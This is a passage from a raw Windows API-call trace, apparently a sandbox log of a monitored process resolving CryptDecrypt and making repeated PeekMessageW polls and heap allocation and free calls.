lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0133.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDecrypt", cchWideChar=13, lpMultiByteStr=0x1076dc0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDecrypt", lpUsedDefaultChar=0x0) returned 13 [0133.119] GetProcAddress (hModule=0x75a50000, lpProcName="CryptDecrypt") returned 0x75a73860 [0133.122] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.122] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.122] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.122] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.122] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.122] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.122] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.122] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.122] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.122] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.123] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.123] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.123] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.123] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.123] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.123] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.123] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.123] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.123] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.123] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.123] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.123] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.123] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.123] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.123] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.123] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.123] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.123] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.124] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.125] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.125] GetLastError () returned 0x0 [0133.125] SetLastError (dwErrCode=0x0) [0133.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.125] GetLastError () returned 0x0 [0133.125] SetLastError (dwErrCode=0x0) [0133.125] GetLastError () returned 0x0 [0133.125] SetLastError (dwErrCode=0x0) [0133.125] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0133.125] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d60 [0133.125] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0133.125] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0133.125] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9d28 [0133.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0133.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0133.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0133.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0133.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0133.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0133.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055570 | out: hHeap=0xe80000) returned 1 [0133.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf348 | out: hHeap=0xe80000) returned 1 [0133.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0133.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0133.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9d78 [0133.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ad8 [0133.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf448 [0133.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x1055750 [0133.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0x107d220 [0133.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ca0 [0133.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0133.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0133.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ca0 | out: hHeap=0xe80000) returned 1 [0133.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.128] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107d220 | out: hHeap=0xe80000) returned 1 [0133.128] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0133.128] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ad8 | out: hHeap=0xe80000) returned 1 [0133.129] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9d78 | out: hHeap=0xe80000) returned 1 [0133.129] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0133.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x10555d0 [0133.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf348 [0133.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9d50 [0133.129] CharLowerBuffW (in: lpsz="byte[115201]", cchLength=0xc | out: lpsz="byte[115201]") returned 0xc [0133.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0x107d3a0 [0133.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076da8 [0133.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf278 [0133.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d60 [0133.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0133.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0133.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0133.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0133.130] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf448 [0133.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0133.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0133.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0133.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0133.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0133.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9d50 | out: hHeap=0xe80000) returned 1 [0133.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf348 | out: hHeap=0xe80000) returned 1 [0133.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9d28 | out: hHeap=0xe80000) returned 1 [0133.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0133.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076958 | out: hHeap=0xe80000) returned 1 [0133.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0133.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0133.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e90 | out: hHeap=0xe80000) returned 1 [0133.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0133.131] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x10555f0 [0133.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0x107d0d0 [0133.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0133.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf348 [0133.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076da8 | out: hHeap=0xe80000) returned 1 [0133.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107d3a0 | out: hHeap=0xe80000) returned 1 [0133.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555d0 | out: hHeap=0xe80000) returned 1 [0133.132] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.133] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9eb8 [0133.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0133.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf298 [0133.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557f0 [0133.133] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557f0 | out: hHeap=0xe80000) returned 1 [0133.133] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.133] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf298 | out: hHeap=0xe80000) returned 1 [0133.133] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0133.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9eb8 | out: hHeap=0xe80000) returned 1 [0133.134] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f80 | out: hHeap=0xe80000) returned 1 [0133.134] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.134] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0133.134] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.134] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055570 [0133.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055570 | out: hHeap=0xe80000) returned 1 [0133.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0133.134] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0133.134] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.135] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0133.135] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf258 [0133.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055770 [0133.135] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055770 | out: hHeap=0xe80000) returned 1 [0133.135] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.135] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf258 | out: hHeap=0xe80000) returned 1 [0133.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016140 [0133.136] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.136] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016140 | out: hHeap=0xe80000) returned 1 [0133.136] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055450 [0133.137] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055450 | out: hHeap=0xe80000) returned 1 [0133.137] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.137] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10160c0 [0133.137] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.137] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10160c0 | out: hHeap=0xe80000) returned 1 [0133.137] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.138] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0133.138] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0133.138] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0133.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0133.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0133.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0133.138] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015dc0 [0133.138] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015dc0 | out: hHeap=0xe80000) returned 1 [0133.139] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.139] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.139] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0133.139] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055650 [0133.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055650 | out: hHeap=0xe80000) returned 1 [0133.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0133.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.139] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0133.139] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.140] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0133.140] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.140] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.140] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.140] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557f0 [0133.140] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557f0 | out: hHeap=0xe80000) returned 1 [0133.140] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.140] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, 